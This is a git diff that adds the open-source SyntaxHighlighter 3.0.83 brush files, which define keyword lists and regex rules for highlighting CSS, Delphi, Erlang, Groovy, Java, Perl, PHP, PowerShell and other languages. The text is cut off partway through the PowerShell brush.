@license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + function getKeywordsCSS(str) + { + return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b'; + }; + + function getValuesCSS(str) + { + return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b'; + }; + + var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' + + 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' + + 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' + + 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' + + 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' + + 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' + + 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' + + 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' + + 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' + + 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' + + 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' + + 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' + + 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' + + 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index'; + + var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+ + 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+ + 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double '+ + 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+ + 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+ + 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+ + 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+ + 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+ + 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+ + 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+ + 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+ + 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+ + 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+ + 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow'; + + var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors + { regex: /(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g, css: 'value' }, // sizes + { regex: /!important/g, css: 'color3' }, // !important + { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values + { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts + ]; + + this.forHtmlScript({ + left: /(<|<)\s*style.*?(>|>)/gi, + right: /(<|<)\/\s*style\s*(>|>)/gi + }); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['css']; + + SyntaxHighlighter.brushes.CSS = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushDelphi.js b/v4.1/javascripts/syntaxhighlighter/shBrushDelphi.js new file mode 100644 index 0000000..e1060d4 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushDelphi.js @@ -0,0 +1,55 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'abs addr and ansichar ansistring array as asm begin boolean byte cardinal ' + + 'case char class comp const constructor currency destructor div do double ' + + 'downto else end except exports extended false file finalization finally ' + + 'for function goto if implementation in inherited int64 initialization ' + + 'integer interface is label library longint longword mod nil not object ' + + 'of on or packed pansichar pansistring pchar pcurrency pdatetime pextended ' + + 'pint64 pointer private procedure program property pshortstring pstring ' + + 'pvariant pwidechar pwidestring protected public published raise real real48 ' + + 'record repeat set shl shortint shortstring shr single smallint string then ' + + 'threadvar to true try type unit until uses val var varirnt while widechar ' + + 'widestring with word write writeln xor'; + + this.regexList = [ + { regex: /\(\*[\s\S]*?\*\)/gm, css: 'comments' }, // multiline comments (* *) + { regex: /{(?!\$)[\s\S]*?}/gm, css: 'comments' }, // multiline comments { } + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /\{\$[a-zA-Z]+ .+\}/g, css: 'color1' }, // compiler Directives and Region tags + { regex: /\b[\d\.]+\b/g, css: 'value' }, // numbers 12345 + { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // numbers $F5D3 + { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['delphi', 'pascal', 'pas']; + + SyntaxHighlighter.brushes.Delphi = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushDiff.js b/v4.1/javascripts/syntaxhighlighter/shBrushDiff.js new file mode 100644 index 0000000..e9b14fc --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushDiff.js @@ -0,0 +1,41 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + this.regexList = [ + { regex: /^\+\+\+.*$/gm, css: 'color2' }, + { regex: /^\-\-\-.*$/gm, css: 'color2' }, + { regex: /^\s.*$/gm, css: 'color1' }, + { regex: /^@@.*@@$/gm, css: 'variable' }, + { regex: /^\+[^\+]{1}.*$/gm, css: 'string' }, + { regex: /^\-[^\-]{1}.*$/gm, css: 'comments' } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['diff', 'patch']; + + SyntaxHighlighter.brushes.Diff = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushErlang.js b/v4.1/javascripts/syntaxhighlighter/shBrushErlang.js new file mode 100644 index 0000000..6ba7d9d --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushErlang.js @@ -0,0 +1,52 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Jean-Lou Dupont + // http://jldupont.blogspot.com/2009/06/erlang-syntax-highlighter.html + + // According to: http://erlang.org/doc/reference_manual/introduction.html#1.5 + var keywords = 'after and andalso band begin bnot bor bsl bsr bxor '+ + 'case catch cond div end fun if let not of or orelse '+ + 'query receive rem try when xor'+ + // additional + ' module export import define'; + + this.regexList = [ + { regex: new RegExp("[A-Z][A-Za-z0-9_]+", 'g'), css: 'constants' }, + { regex: new RegExp("\\%.+", 'gm'), css: 'comments' }, + { regex: new RegExp("\\?[A-Za-z0-9_]+", 'g'), css: 'preprocessor' }, + { regex: new RegExp("[a-z0-9_]+:[a-z0-9_]+", 'g'), css: 'functions' }, + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['erl', 'erlang']; + + SyntaxHighlighter.brushes.Erland = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushGroovy.js b/v4.1/javascripts/syntaxhighlighter/shBrushGroovy.js new file mode 100644 index 0000000..6ec5c18 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushGroovy.js @@ -0,0 +1,67 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Andres Almiray + // http://jroller.com/aalmiray/entry/nice_source_code_syntax_highlighter + + var keywords = 'as assert break case catch class continue def default do else extends finally ' + + 'if in implements import instanceof interface new package property return switch ' + + 'throw throws try while public protected private static'; + var types = 'void boolean byte char short int long float double'; + var constants = 'null'; + var methods = 'allProperties count get size '+ + 'collect each eachProperty eachPropertyName eachWithIndex find findAll ' + + 'findIndexOf grep inject max min reverseEach sort ' + + 'asImmutable asSynchronized flatten intersect join pop reverse subMap toList ' + + 'padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize ' + + 'eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText ' + + 'splitEachLine withReader append encodeBase64 decodeBase64 filterLine ' + + 'transformChar transformLine withOutputStream withPrintWriter withStream ' + + 'withStreams withWriter withWriterAppend write writeLine '+ + 'dump inspect invokeMethod print println step times upto use waitForOrKill '+ + 'getText'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /""".*"""/g, css: 'string' }, // GStrings + { regex: new RegExp('\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b', 'gi'), css: 'value' }, // numbers + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // goovy keyword + { regex: new RegExp(this.getKeywords(types), 'gm'), css: 'color1' }, // goovy/java type + { regex: new RegExp(this.getKeywords(constants), 'gm'), css: 'constants' }, // constants + { regex: new RegExp(this.getKeywords(methods), 'gm'), css: 'functions' } // methods + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + } + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['groovy']; + + SyntaxHighlighter.brushes.Groovy = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushJScript.js b/v4.1/javascripts/syntaxhighlighter/shBrushJScript.js new file mode 100644 index 0000000..ff98dab --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushJScript.js @@ -0,0 +1,52 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'break case catch continue ' + + 'default delete do else false ' + + 'for function if in instanceof ' + + 'new null return super switch ' + + 'this throw true try typeof var while with' + ; + + var r = SyntaxHighlighter.regexLib; + + this.regexList = [ + { regex: r.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings + { regex: r.multiLineSingleQuotedString, css: 'string' }, // single quoted strings + { regex: r.singleLineCComments, css: 'comments' }, // one line comments + { regex: r.multiLineCComments, css: 'comments' }, // multiline comments + { regex: /\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keywords + ]; + + this.forHtmlScript(r.scriptScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['js', 'jscript', 'javascript']; + + SyntaxHighlighter.brushes.JScript = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushJava.js b/v4.1/javascripts/syntaxhighlighter/shBrushJava.js new file mode 100644 index 0000000..d692fd6 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushJava.js @@ -0,0 +1,57 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'abstract assert boolean break byte case catch char class const ' + + 'continue default do double else enum extends ' + + 'false final finally float for goto if implements import ' + + 'instanceof int interface long native new null ' + + 'package private protected public return ' + + 'short static strictfp super switch synchronized this throw throws true ' + + 'transient try void volatile while'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: /\/\*([^\*][\s\S]*)?\*\//gm, css: 'comments' }, // multiline comments + { regex: /\/\*(?!\*\/)\*[\s\S]*?\*\//gm, css: 'preprocessor' }, // documentation comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers + { regex: /(?!\@interface\b)\@[\$\w]+\b/g, css: 'color1' }, // annotation @anno + { regex: /\@interface\b/g, css: 'color2' }, // @interface keyword + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // java keyword + ]; + + this.forHtmlScript({ + left : /(<|<)%[@!=]?/g, + right : /%(>|>)/g + }); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['java']; + + SyntaxHighlighter.brushes.Java = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushJavaFX.js b/v4.1/javascripts/syntaxhighlighter/shBrushJavaFX.js new file mode 100644 index 0000000..1a150a6 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushJavaFX.js @@ -0,0 +1,58 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Patrick Webster + // http://patrickwebster.blogspot.com/2009/04/javafx-brush-for-syntaxhighlighter.html + var datatypes = 'Boolean Byte Character Double Duration ' + + 'Float Integer Long Number Short String Void' + ; + + var keywords = 'abstract after and as assert at before bind bound break catch class ' + + 'continue def delete else exclusive extends false finally first for from ' + + 'function if import in indexof init insert instanceof into inverse last ' + + 'lazy mixin mod nativearray new not null on or override package postinit ' + + 'protected public public-init public-read replace return reverse sizeof ' + + 'step super then this throw true try tween typeof var where while with ' + + 'attribute let private readonly static trigger' + ; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, + { regex: /(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi, css: 'color2' }, // numbers + { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'variable' }, // datatypes + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } + ]; + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['jfx', 'javafx']; + + SyntaxHighlighter.brushes.JavaFX = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushPerl.js b/v4.1/javascripts/syntaxhighlighter/shBrushPerl.js new file mode 100644 index 0000000..d94a2e0 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushPerl.js @@ -0,0 +1,72 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by David Simmons-Duffin and Marty Kube + + var funcs = + 'abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr ' + + 'chroot close closedir connect cos crypt defined delete each endgrent ' + + 'endhostent endnetent endprotoent endpwent endservent eof exec exists ' + + 'exp fcntl fileno flock fork format formline getc getgrent getgrgid ' + + 'getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr ' + + 'getnetbyname getnetent getpeername getpgrp getppid getpriority ' + + 'getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid ' + + 'getservbyname getservbyport getservent getsockname getsockopt glob ' + + 'gmtime grep hex index int ioctl join keys kill lc lcfirst length link ' + + 'listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd ' + + 'oct open opendir ord pack pipe pop pos print printf prototype push ' + + 'quotemeta rand read readdir readline readlink readpipe recv rename ' + + 'reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl ' + + 'semget semop send setgrent sethostent setnetent setpgrp setpriority ' + + 'setprotoent setpwent setservent setsockopt shift shmctl shmget shmread ' + + 'shmwrite shutdown sin sleep socket socketpair sort splice split sprintf ' + + 'sqrt srand stat study substr symlink syscall sysopen sysread sysseek ' + + 'system syswrite tell telldir time times tr truncate uc ucfirst umask ' + + 'undef unlink unpack unshift utime values vec wait waitpid warn write'; + + var keywords = + 'bless caller continue dbmclose dbmopen die do dump else elsif eval exit ' + + 'for foreach goto if import last local my next no our package redo ref ' + + 'require return sub tie tied unless untie until use wantarray while'; + + this.regexList = [ + { regex: new RegExp('#[^!].*$', 'gm'), css: 'comments' }, + { regex: new RegExp('^\\s*#!.*$', 'gm'), css: 'preprocessor' }, // shebang + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, + { regex: new RegExp('(\\$|@|%)\\w+', 'g'), css: 'variable' }, + { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags); + } + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['perl', 'Perl', 'pl']; + + SyntaxHighlighter.brushes.Perl = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushPhp.js b/v4.1/javascripts/syntaxhighlighter/shBrushPhp.js new file mode 100644 index 0000000..95e6e43 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushPhp.js @@ -0,0 +1,88 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var funcs = 'abs acos acosh addcslashes addslashes ' + + 'array_change_key_case array_chunk array_combine array_count_values array_diff '+ + 'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+ + 'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+ + 'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+ + 'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+ + 'array_push array_rand array_reduce array_reverse array_search array_shift '+ + 'array_slice array_splice array_sum array_udiff array_udiff_assoc '+ + 'array_udiff_uassoc array_uintersect array_uintersect_assoc '+ + 'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+ + 'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+ + 'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+ + 'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+ + 'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+ + 'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+ + 'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+ + 'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+ + 'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+ + 'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+ + 'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+ + 'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+ + 'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+ + 'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+ + 'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+ + 'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+ + 'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+ + 'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+ + 'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+ + 'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+ + 'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+ + 'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+ + 'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+ + 'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+ + 'strtoupper strtr strval substr substr_compare'; + + var keywords = 'abstract and array as break case catch cfunction class clone const continue declare default die do ' + + 'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' + + 'function include include_once global goto if implements interface instanceof namespace new ' + + 'old_function or private protected public return require require_once static switch ' + + 'throw try use var while xor '; + + var constants = '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: /\$\w+/g, css: 'variable' }, // variables + { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // common functions + { regex: new RegExp(this.getKeywords(constants), 'gmi'), css: 'constants' }, // constants + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keyword + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['php']; + + SyntaxHighlighter.brushes.Php = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushPlain.js b/v4.1/javascripts/syntaxhighlighter/shBrushPlain.js new file mode 100644 index 0000000..9f7d9e9 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushPlain.js @@ -0,0 +1,33 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['text', 'plain']; + + SyntaxHighlighter.brushes.Plain = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushPowerShell.js b/v4.1/javascripts/syntaxhighlighter/shBrushPowerShell.js new file mode 100644 index 0000000..0be1752 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushPowerShell.js @@ -0,0 +1,74 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributes by B.v.Zanten, Getronics + // http://confluence.atlassian.com/display/CONFEXT/New+Code+Macro + + var keywords = 'Add-Content Add-History Add-Member Add-PSSnapin Clear(-Content)? Clear-Item ' + + 'Clear-ItemProperty Clear-Variable Compare-Object ConvertFrom-SecureString Convert-Path ' + + 'ConvertTo-Html ConvertTo-SecureString Copy(-Item)? Copy-ItemProperty Export-Alias ' + + 'Export-Clixml Export-Console Export-Csv ForEach(-Object)? Format-Custom Format-List ' + + 'Format-Table Format-Wide Get-Acl Get-Alias Get-AuthenticodeSignature Get-ChildItem Get-Command ' + + 'Get-Content Get-Credential Get-Culture Get-Date Get-EventLog Get-ExecutionPolicy ' + + 'Get-Help Get-History Get-Host Get-Item Get-ItemProperty Get-Location Get-Member ' + + 'Get-PfxCertificate Get-Process 